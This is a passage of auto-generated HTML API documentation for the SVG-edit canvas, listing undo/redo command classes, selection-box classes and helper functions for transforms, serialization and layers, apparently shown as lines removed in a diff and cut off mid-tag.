-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.RemoveElementCommand"></a>RemoveElementCommand</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var RemoveElementCommand = this.undoCmd.removeElement = function(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>parent,</td></tr><tr><td></td><td class=PParameter nowrap>text</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>History command for an element removed from the DOM</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>elem</td><td class=CDLDescription>The removed DOM element</td></tr><tr><td class=CDLEntry>parent</td><td class=CDLDescription>The DOM element&rsquo;s parent</td></tr><tr><td class=CDLEntry>text</td><td class=CDLDescription>An optional string visible to user related to this change</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.RemoveElementCommand.apply"></a>RemoveElementCommand.<wbr>apply</h3><div class=CBody><p>Re-removes the new element</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.RemoveElementCommand.unapply"></a>RemoveElementCommand.<wbr>unapply</h3><div class=CBody><p>Re-adds the new element</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.RemoveElementCommand.elements"></a>RemoveElementCommand.<wbr>elements</h3><div class=CBody><p>Returns array with element associated with this command</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.MoveElementCommand"></a>MoveElementCommand</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var MoveElementCommand = this.undoCmd.moveElement = function(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>oldNextSibling,</td></tr><tr><td></td><td class=PParameter nowrap>oldParent,</td></tr><tr><td></td><td class=PParameter nowrap>text</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>History command for an element that had its DOM position changed</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>elem</td><td class=CDLDescription>The DOM element that was moved</td></tr><tr><td class=CDLEntry>oldNextSibling</td><td class=CDLDescription>The element&rsquo;s next sibling before it was moved</td></tr><tr><td class=CDLEntry>oldParent</td><td class=CDLDescription>The element&rsquo;s parent before it was moved</td></tr><tr><td class=CDLEntry>text</td><td class=CDLDescription>An optional string visible to user related to this change</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.MoveElementCommand.unapply"></a>MoveElementCommand.<wbr>unapply</h3><div class=CBody><p>Re-positions the element</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.MoveElementCommand.unapply"></a>MoveElementCommand.<wbr>unapply</h3><div class=CBody><p>Positions the element back to its original location</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.MoveElementCommand.elements"></a>MoveElementCommand.<wbr>elements</h3><div class=CBody><p>Returns array with element associated with this command</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.BatchCommand"></a>BatchCommand</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var BatchCommand = this.undoCmd.batch = function(</td><td class=PParameter nowrap>text</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>History command that can contain/execute multiple other commands</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>text</td><td class=CDLDescription>An optional string visible to user related to this change</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.BatchCommand.apply"></a>BatchCommand.<wbr>apply</h3><div class=CBody><p>Runs &ldquo;apply&rdquo; on all subcommands</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.BatchCommand.unapply"></a>BatchCommand.<wbr>unapply</h3><div class=CBody><p>Runs &ldquo;unapply&rdquo; on all subcommands</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.BatchCommand.elements"></a>BatchCommand.<wbr>elements</h3><div class=CBody><p>Iterate through all our subcommands and returns all the elements we are changing</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.BatchCommand.addSubCommand"></a>BatchCommand.<wbr>addSubCommand</h3><div class=CBody><p>Adds a given command to the history stack</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>cmd</td><td class=CDLDescription>The undo command object to add</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.BatchCommand.isEmpty"></a>BatchCommand.<wbr>isEmpty</h3><div class=CBody><p>Returns a boolean indicating whether or not the batch command is empty</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.resetUndoStack"></a>resetUndoStack</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>resetUndoStack = function()</td></tr></table></blockquote><p>Resets the undo stack, effectively clearing the undo/redo history</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.undoMgr.getUndoStackSize"></a>undoMgr.<wbr>getUndoStackSize</h3><div class=CBody><h4 class=CHeading>Returns</h4><p>Integer with the current size of the undo history stack</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.undoMgr.getRedoStackSize"></a>undoMgr.<wbr>getRedoStackSize</h3><div class=CBody><h4 class=CHeading>Returns</h4><p>Integer with the current size of the redo history stack</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.undoMgr.getNextUndoCommandText"></a>undoMgr.<wbr>getNextUndoCommandText</h3><div class=CBody><h4 class=CHeading>Returns</h4><p>String associated with the next undo command</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.undoMgr.getNextRedoCommandText"></a>undoMgr.<wbr>getNextRedoCommandText</h3><div class=CBody><h4 class=CHeading>Returns</h4><p>String associated with the next redo command</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.undoMgr.undo"></a>undoMgr.undo</h3><div class=CBody><p>Performs an undo step</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.undoMgr.redo"></a>undoMgr.redo</h3><div class=CBody><p>Performs a redo step</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.addCommandToHistory"></a>addCommandToHistory</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>addCommandToHistory = c.undoCmd.add = function(</td><td class=PParameter nowrap>cmd</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Adds a command object to the undo history stack</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>cmd</td><td class=CDLDescription>The command object to add</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.beginUndoableChange"></a>beginUndoableChange</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>c.beginUndoableChange = function(</td><td class=PParameter nowrap>attrName,</td></tr><tr><td></td><td class=PParameter nowrap>elems</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>This function tells the canvas to remember the old values of the attrName attribute for each element sent in.&nbsp;  The elements and values are stored on a stack, so the next call to finishUndoableChange() will pop the elements and old values off the stack, gets the current values from the DOM and uses all of these to construct the undo-able command.</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>attrName</td><td class=CDLDescription>The name of the attribute being changed</td></tr><tr><td class=CDLEntry>elems</td><td class=CDLDescription>Array of DOM elements being changed</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.finishUndoableChange"></a>finishUndoableChange</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>c.finishUndoableChange = function()</td></tr></table></blockquote><p>This function returns a BatchCommand object which summarizes the change since beginUndoableChange was called.&nbsp;  The command can then be added to the command history</p><h4 class=CHeading>Returns</h4><p>Batch command object with resulting changes</p></div></div></div>
-
-<div class="CInterface"><div class=CTopic><h2 class=CTitle><a name="Selector"></a>Selector</h2><div class=CBody><p>Private class for DOM element selection boxes</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>id</td><td class=CDLDescription>integer to internally indentify the selector</td></tr><tr><td class=CDLEntry>elem</td><td class=CDLDescription>DOM element associated with this selector</td></tr></table><!--START_ND_SUMMARY--><div class=Summary><div class=STitle>Summary</div><div class=SBorder><table border=0 cellspacing=0 cellpadding=0 class=STable><tr class="SGroup"><td class=SEntry><a href="#Selector.Functions" >Functions</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#Selector.Selector.reset" >Selector.<wbr>reset</a></td><td class=SDescription>Used to reset the id and element that the selector is attached to</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#Selector.Selector.showGrips" >Selector.<wbr>showGrips</a></td><td class=SDescription>Show the resize grips of this selector</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#Selector.Selector.updateGripCursors" >Selector.<wbr>updateGripCursors</a></td><td class=SDescription>Updates cursors for corner grips on rotation so arrows point the right way</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#Selector.Selector.resize" >Selector.<wbr>resize</a></td><td class=SDescription>Updates the selector to match the element&rsquo;s size</td></tr></table></div></div><!--END_ND_SUMMARY--></div></div></div>
-
-<div class="CGroup"><div class=CTopic><h3 class=CTitle><a name="Selector.Functions"></a>Functions</h3></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="Selector.Selector.reset"></a>Selector.<wbr>reset</h3><div class=CBody><p>Used to reset the id and element that the selector is attached to</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>e</td><td class=CDLDescription>DOM element associated with this selector</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="Selector.Selector.showGrips"></a>Selector.<wbr>showGrips</h3><div class=CBody><p>Show the resize grips of this selector</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>show</td><td class=CDLDescription>boolean indicating whether grips should be shown or not</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="Selector.Selector.updateGripCursors"></a>Selector.<wbr>updateGripCursors</h3><div class=CBody><p>Updates cursors for corner grips on rotation so arrows point the right way</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>angle</td><td class=CDLDescription>Float indicating current rotation angle in degrees</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="Selector.Selector.resize"></a>Selector.<wbr>resize</h3><div class=CBody><p>Updates the selector to match the element&rsquo;s size</p></div></div></div>
-
-<div class="CInterface"><div class=CTopic><h2 class=CTitle><a name="SelectorManager"></a>SelectorManager</h2><div class=CBody><p>Public class to manage all selector objects (selection boxes)</p><!--START_ND_SUMMARY--><div class=Summary><div class=STitle>Summary</div><div class=SBorder><table border=0 cellspacing=0 cellpadding=0 class=STable><tr class="SFunction"><td class=SEntry><a href="#SelectorManager.SelectorManager.initGroup" >SelectorManager.<wbr>initGroup</a></td><td class=SDescription>Resets the parent selector group element</td></tr><tr class="SFunction SMarked"><td class=SEntry><a href="#SelectorManager.SelectorManager.requestSelector" >SelectorManager.<wbr>requestSelector</a></td><td class=SDescription>Returns the selector based on the given element</td></tr><tr class="SFunction"><td class=SEntry><a href="#SelectorManager.SelectorManager.releaseSelector" >SelectorManager.<wbr>releaseSelector</a></td><td class=SDescription>Removes the selector of the given element (hides selection box)</td></tr><tr class="SFunction SMarked"><td class=SEntry><a href="#SelectorManager.SelectorManager.getRubberBandBox" >SelectorManager.<wbr>getRubberBandBox</a></td><td class=SDescription>Returns the rubberBandBox DOM element. </td></tr><tr class="SGroup"><td class=SEntry><a href="#SelectorManager.Helper_functions" >Helper functions</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.walkTree" id=link141 onMouseOver="ShowTip(event, 'tt16', 'link141')" onMouseOut="HideTip('tt16')">walkTree</a></td><td class=SDescription>Walks the tree and executes the callback on each element in a top-down fashion</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.walkTreePost" id=link142 onMouseOver="ShowTip(event, 'tt17', 'link142')" onMouseOut="HideTip('tt17')">walkTreePost</a></td><td class=SDescription>Walks the tree and executes the callback on each element in a depth-first fashion</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.assignAttributes" id=link143 onMouseOver="ShowTip(event, 'tt18', 'link143')" onMouseOut="HideTip('tt18')">assignAttributes</a></td><td class=SDescription>Assigns multiple attributes to an element.</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.cleanupElement" id=link144 onMouseOver="ShowTip(event, 'tt19', 'link144')" onMouseOut="HideTip('tt19')">cleanupElement</a></td><td class=SDescription>Remove unneeded (default) attributes, makes resulting SVG smaller</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.addSvgElementFromJson" id=link145 onMouseOver="ShowTip(event, 'tt20', 'link145')" onMouseOut="HideTip('tt20')">addSvgElementFromJson</a></td><td class=SDescription>Create a new SVG element based on the given object keys/values and add it to the current layer The element will be ran through cleanupElement before being returned</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.addExtension" id=link146 onMouseOver="ShowTip(event, 'tt21', 'link146')" onMouseOut="HideTip('tt21')">addExtension</a></td><td class=SDescription>Add an extension to the editor</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.shortFloat" id=link147 onMouseOver="ShowTip(event, 'tt22', 'link147')" onMouseOut="HideTip('tt22')">shortFloat</a></td><td class=SDescription>Rounds a given value to a float with number of digits defined in save_options</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.getStrokedBBox" id=link148 onMouseOver="ShowTip(event, 'tt23', 'link148')" onMouseOut="HideTip('tt23')">getStrokedBBox</a></td><td class=SDescription>Get the bounding box for one or more stroked and/or transformed elements</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getVisibleElements" id=link149 onMouseOver="ShowTip(event, 'tt24', 'link149')" onMouseOut="HideTip('tt24')">getVisibleElements</a></td><td class=SDescription>Get all elements that have a BBox (excludes &lt;defs&gt;, &lt;title&gt;, etc). </td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.copyElem" id=link150 onMouseOver="ShowTip(event, 'tt25', 'link150')" onMouseOut="HideTip('tt25')">copyElem</a></td><td class=SDescription>Create a clone of an element, updating its ID and its children&rsquo;s IDs when needed</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getElem" id=link151 onMouseOver="ShowTip(event, 'tt26', 'link151')" onMouseOut="HideTip('tt26')">getElem</a></td><td class=SDescription>Get a DOM element by ID within the SVG root element.</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.getId" id=link152 onMouseOver="ShowTip(event, 'tt27', 'link152')" onMouseOut="HideTip('tt27')">getId</a></td><td class=SDescription>Returns the last created DOM element ID string</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getNextId" id=link153 onMouseOver="ShowTip(event, 'tt28', 'link153')" onMouseOut="HideTip('tt28')">getNextId</a></td><td class=SDescription>Creates and returns a unique ID string for a DOM element</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.bind" id=link154 onMouseOver="ShowTip(event, 'tt29', 'link154')" onMouseOut="HideTip('tt29')">bind</a></td><td class=SDescription>Attaches a callback function to an event</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.setIdPrefix" id=link155 onMouseOver="ShowTip(event, 'tt30', 'link155')" onMouseOut="HideTip('tt30')">setIdPrefix</a></td><td class=SDescription>Changes the ID prefix to the given value</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.sanitizeSvg" id=link156 onMouseOver="ShowTip(event, 'tt31', 'link156')" onMouseOut="HideTip('tt31')">sanitizeSvg</a></td><td class=SDescription>Sanitizes the input node and its children It only keeps what is allowed from our whitelist defined above</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getUrlFromAttr" id=link157 onMouseOver="ShowTip(event, 'tt32', 'link157')" onMouseOut="HideTip('tt32')">getUrlFromAttr</a></td><td class=SDescription>Extracts the URL from the url(...)</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.getBBox" id=link158 onMouseOver="ShowTip(event, 'tt33', 'link158')" onMouseOut="HideTip('tt33')">getBBox</a></td><td class=SDescription>Get the given/selected element&rsquo;s bounding box object, convert it to be more usable when necessary</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.ffClone" id=link159 onMouseOver="ShowTip(event, 'tt34', 'link159')" onMouseOut="HideTip('tt34')">ffClone</a></td><td class=SDescription>Hack for Firefox bugs where text element features aren&rsquo;t updated. </td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.getPathBBox" id=link160 onMouseOver="ShowTip(event, 'tt35', 'link160')" onMouseOut="HideTip('tt35')">getPathBBox</a></td><td class=SDescription>Get correct BBox for a path in Webkit Converted from code found here: <a href="http://blog.hackers-cafe.net/2009/06/how-to-calculate-bezier-curves-bounding.html" class=LURL target=_top>http://blog.hackers-cafe.net<wbr>/2009<wbr>/06<wbr>/how-to-calculate-bezier-curves-bounding.html</a></td></tr><tr class="SGroup"><td class=SEntry><a href="#SelectorManager.Element_Transforms" >Element Transforms</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getRotationAngle" id=link161 onMouseOver="ShowTip(event, 'tt36', 'link161')" onMouseOut="HideTip('tt36')">getRotationAngle</a></td><td class=SDescription>Get the rotation angle of the given/selected DOM element</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setRotationAngle" id=link162 onMouseOver="ShowTip(event, 'tt37', 'link162')" onMouseOut="HideTip('tt37')">setRotationAngle</a></td><td class=SDescription>Removes any old rotations if present, prepends a new rotation at the transformed center</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getTransformList" id=link163 onMouseOver="ShowTip(event, 'tt38', 'link163')" onMouseOut="HideTip('tt38')">getTransformList</a></td><td class=SDescription>Returns an object that behaves like a SVGTransformList for the given DOM element</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.recalculateAllSelectedDimensions" id=link164 onMouseOver="ShowTip(event, 'tt39', 'link164')" onMouseOut="HideTip('tt39')">recalculateAllSelectedDimensions</a></td><td class=SDescription>Runs recalculateDimensions on the selected elements, adding the changes to a single batch command</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.remapElement" id=link165 onMouseOver="ShowTip(event, 'tt40', 'link165')" onMouseOut="HideTip('tt40')">remapElement</a></td><td class=SDescription>Applies coordinate changes to an element based on the given matrix</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.recalculateDimensions" id=link166 onMouseOver="ShowTip(event, 'tt41', 'link166')" onMouseOut="HideTip('tt41')">recalculateDimensions</a></td><td class=SDescription>Decides the course of action based on the element&rsquo;s transform list</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.transformPoint" id=link167 onMouseOver="ShowTip(event, 'tt42', 'link167')" onMouseOut="HideTip('tt42')">transformPoint</a></td><td class=SDescription>A (hopefully) quicker function to transform a point by a matrix (this function avoids any DOM calls and just does the math)</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.isIdentity" id=link168 onMouseOver="ShowTip(event, 'tt43', 'link168')" onMouseOut="HideTip('tt43')">isIdentity</a></td><td class=SDescription>Helper function to check if the matrix performs no actual transform (i.e. </td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.matrixMultiply" id=link169 onMouseOver="ShowTip(event, 'tt44', 'link169')" onMouseOut="HideTip('tt44')">matrixMultiply</a></td><td class=SDescription>This function tries to return a SVGMatrix that is the multiplication m1*m2. </td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.transformListToTransform" id=link170 onMouseOver="ShowTip(event, 'tt45', 'link170')" onMouseOut="HideTip('tt45')">transformListToTransform</a></td><td class=SDescription>This returns a single matrix Transform for a given Transform List (this is the equivalent of SVGTransformList.consolidate() but unlike that method, this one does not modify the actual SVGTransformList) This function is very liberal with its min,max arguments</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.hasMatrixTransform" id=link171 onMouseOver="ShowTip(event, 'tt46', 'link171')" onMouseOut="HideTip('tt46')">hasMatrixTransform</a></td><td class=SDescription>See if the given transformlist includes a non-indentity matrix transform</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.getMatrix" id=link172 onMouseOver="ShowTip(event, 'tt47', 'link172')" onMouseOut="HideTip('tt47')">getMatrix</a></td><td class=SDescription>Get the matrix object for a given element</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.transformBox" id=link173 onMouseOver="ShowTip(event, 'tt48', 'link173')" onMouseOut="HideTip('tt48')">transformBox</a></td><td class=SDescription>Transforms a rectangle based on the given matrix</td></tr><tr class="SGroup"><td class=SEntry><a href="#SelectorManager.Selection" >Selection</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.clearSelection" id=link174 onMouseOver="ShowTip(event, 'tt49', 'link174')" onMouseOut="HideTip('tt49')">clearSelection</a></td><td class=SDescription>Clears the selection. </td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.addToSelection" id=link175 onMouseOver="ShowTip(event, 'tt50', 'link175')" onMouseOut="HideTip('tt50')">addToSelection</a></td><td class=SDescription>Adds a list of elements to the selection. </td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.removeFromSelection" id=link176 onMouseOver="ShowTip(event, 'tt51', 'link176')" onMouseOut="HideTip('tt51')">removeFromSelection</a></td><td class=SDescription>Removes elements from the selection.</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.selectAllInCurrentLayer" id=link177 onMouseOver="ShowTip(event, 'tt52', 'link177')" onMouseOut="HideTip('tt52')">selectAllInCurrentLayer</a></td><td class=SDescription>Clears the selection, then adds all elements in the current layer to the selection. </td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.smoothControlPoints" id=link178 onMouseOver="ShowTip(event, 'tt53', 'link178')" onMouseOut="HideTip('tt53')">smoothControlPoints</a></td><td class=SDescription>Takes three points and creates a smoother line based on them</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.getMouseTarget" id=link179 onMouseOver="ShowTip(event, 'tt54', 'link179')" onMouseOut="HideTip('tt54')">getMouseTarget</a></td><td class=SDescription>Gets the desired element from a mouse event</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.preventClickDefault" id=link180 onMouseOver="ShowTip(event, 'tt55', 'link180')" onMouseOut="HideTip('tt55')">preventClickDefault</a></td><td class=SDescription>Prevents default browser click behaviour on the given element</td></tr><tr class="SGroup"><td class=SEntry><a href="#SelectorManager.Text_edit_functions" >Text edit functions</a></td><td class=SDescription>Functions relating to editing text elements</td></tr><tr class="SGroup"><td class=SEntry><a href="#SelectorManager.Path_edit_functions" >Path edit functions</a></td><td class=SDescription>Functions relating to editing path elements</td></tr><tr class="SGroup"><td class=SEntry><a href="#SelectorManager.Serialization" >Serialization</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.removeUnusedDefElems" id=link181 onMouseOver="ShowTip(event, 'tt56', 'link181')" onMouseOut="HideTip('tt56')">removeUnusedDefElems</a></td><td class=SDescription>Looks at DOM elements inside the &lt;defs&gt; to see if they are referred to, removes them from the DOM if they are not.</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.svgCanvasToString" id=link182 onMouseOver="ShowTip(event, 'tt57', 'link182')" onMouseOut="HideTip('tt57')">svgCanvasToString</a></td><td class=SDescription>Main function to set up the SVG content for output</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.svgToString" id=link183 onMouseOver="ShowTip(event, 'tt58', 'link183')" onMouseOut="HideTip('tt58')">svgToString</a></td><td class=SDescription>Sub function ran on each SVG element to convert it to a string as desired</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.embedImage" id=link184 onMouseOver="ShowTip(event, 'tt59', 'link184')" onMouseOut="HideTip('tt59')">embedImage</a></td><td class=SDescription>Converts a given image file to a data URL when possible, then runs a given callback</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.save" id=link185 onMouseOver="ShowTip(event, 'tt60', 'link185')" onMouseOut="HideTip('tt60')">save</a></td><td class=SDescription>Serializes the current drawing into SVG XML text and returns it to the &lsquo;saved&rsquo; handler. </td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.rasterExport" id=link186 onMouseOver="ShowTip(event, 'tt61', 'link186')" onMouseOut="HideTip('tt61')">rasterExport</a></td><td class=SDescription>Generates a PNG Data URL based on the current image, then calls &ldquo;exported&rdquo; with an object including the string and any issues found</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getSvgString" id=link187 onMouseOver="ShowTip(event, 'tt62', 'link187')" onMouseOut="HideTip('tt62')">getSvgString</a></td><td class=SDescription>Returns the current drawing as raw SVG XML text.</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setSvgString" id=link188 onMouseOver="ShowTip(event, 'tt63', 'link188')" onMouseOut="HideTip('tt63')">setSvgString</a></td><td class=SDescription>This function sets the current drawing as the input SVG XML.</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.importSvgString" id=link189 onMouseOver="ShowTip(event, 'tt64', 'link189')" onMouseOut="HideTip('tt64')">importSvgString</a></td><td class=SDescription>This function imports the input SVG XML into the current layer in the drawing</td></tr><tr class="SGroup"><td class=SEntry><a href="#SelectorManager.Layers" >Layers</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.identifyLayers" id=link190 onMouseOver="ShowTip(event, 'tt65', 'link190')" onMouseOut="HideTip('tt65')">identifyLayers</a></td><td class=SDescription>Updates layer system</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.createLayer" id=link191 onMouseOver="ShowTip(event, 'tt66', 'link191')" onMouseOut="HideTip('tt66')">createLayer</a></td><td class=SDescription>Creates a new top-level layer in the drawing with the given name, sets the current layer to it, and then clears the selection  This function then calls the &lsquo;changed&rsquo; handler. </td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.deleteCurrentLayer" id=link192 onMouseOver="ShowTip(event, 'tt67', 'link192')" onMouseOut="HideTip('tt67')">deleteCurrentLayer</a></td><td class=SDescription>Deletes the current layer from the drawing and then clears the selection. </td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.getNumLayers" id=link193 onMouseOver="ShowTip(event, 'tt68', 'link193')" onMouseOut="HideTip('tt68')">getNumLayers</a></td><td class=SDescription>Returns the number of layers in the current drawing.</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getLayer" id=link194 onMouseOver="ShowTip(event, 'tt69', 'link194')" onMouseOut="HideTip('tt69')">getLayer</a></td><td class=SDescription>Returns the name of the ith layer. </td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.getCurrentLayer" id=link195 onMouseOver="ShowTip(event, 'tt70', 'link195')" 